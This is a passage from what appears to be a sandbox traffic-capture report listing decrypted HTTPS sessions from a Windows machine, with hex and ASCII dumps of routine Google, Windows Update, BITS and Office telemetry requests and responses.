focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-28 05:48:13 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-28 05:48:13 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-28 05:48:13 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-28 05:48:13 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 39 38 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700298,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u003dthis
2024-11-28 05:48:13 UTC	832	IN	Data Raw: 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d Data Ascii: or(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i\u003da}
2024-11-28 05:48:13 UTC	412	IN	Data Raw: 31 39 35 0d 0a 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 29 7b 69 66 28 21 61 29 72 65 74 75 72 6e 3b 61 5c 75 30 30 33 64 2b 61 7d 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 29 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 53 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 61 5c 75 30 30 33 64 6e 75 6c 6c 3b 69 66 28 21 52 64 29 72 65 74 75 72 6e 20 61 3b 74 72 79 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 63 5c 75 30 30 33 64 5c 75 30 30 33 65 63 3b 61 5c 75 30 30 33 64 52 64 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 5c 22 6f 67 62 2d 71 74 6d 23 68 74 6d Data Ascii: 195\u003d\u003d\u003d\"string\"){if(!a)return;a\u003d+a}if(typeof a\u003d\u003d\u003d\"number\")return Number.isFinite(a)?a\|0:void 0};Sd\u003dfunction(){let a\u003dnull;if(!Rd)return a;try{const b\u003dc\u003d\u003ec;a\u003dRd.createPolicy(\"ogb-qtm#htm
2024-11-28 05:48:13 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 64 7d 3b 5c 6e 5f 2e 57 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 55 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 56 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 58 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 56 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 Data Ascii: 8000d};\n_.Wd\u003dfunction(a){const b\u003d_.Ud();return new _.Vd(b?b.createScriptURL(a):a)};_.Xd\u003dfunction(a){if(a instanceof _.Vd)return a.i;throw Error(\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof
2024-11-28 05:48:13 UTC	1390	IN	Data Raw: 79 49 64 28 62 29 3a 62 7d 3b 5f 2e 55 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 5c 75 30 30 33 64 62 7c 7c 64 6f 63 75 6d 65 6e 74 3b 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 Data Ascii: yId(b):b};_.U\u003dfunction(a,b){var c\u003db\|\|document;c.getElementsByClassName?a\u003dc.getElementsByClassName(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsBy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49712	142.250.181.100	443	2284	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:12 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-28 05:48:13 UTC	933	IN	HTTP/1.1 200 OK Version: 700238841 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 28 Nov 2024 05:48:13 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-28 05:48:13 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-28 05:48:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49721	23.32.185.164	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:17 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-28 05:48:17 UTC	478	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=73989 Date: Thu, 28 Nov 2024 05:48:17 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49725	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:19 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=9AM7fOcMCZtunDN&MD=TF3CUE6U HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-28 05:48:20 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 6a4a0aea-ccbb-4ecc-87b3-3f0676894e6d MS-RequestId: 153474b9-fc25-4926-b672-5c48987a960f MS-CV: Bn31EuXnd0G+GjbW.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 28 Nov 2024 05:48:19 GMT Connection: close Content-Length: 24490
2024-11-28 05:48:20 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-28 05:48:20 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49728	23.32.185.164	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:19 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-28 05:48:20 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=73975 Date: Thu, 28 Nov 2024 05:48:20 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-28 05:48:20 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.5	49730	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:21 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:21 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:21 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Wed, 27 Nov 2024 15:11:14 GMT ETag: "0x8DD0EF5BC53602D" x-ms-request-id: a5a19dc6-401e-008c-1dff-4086c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054821Z-174f7845968l4kp6hC1EWRe8840000000y5g00000000fcv3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:21 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-28 05:48:21 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-28 05:48:21 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-28 05:48:21 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-28 05:48:21 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
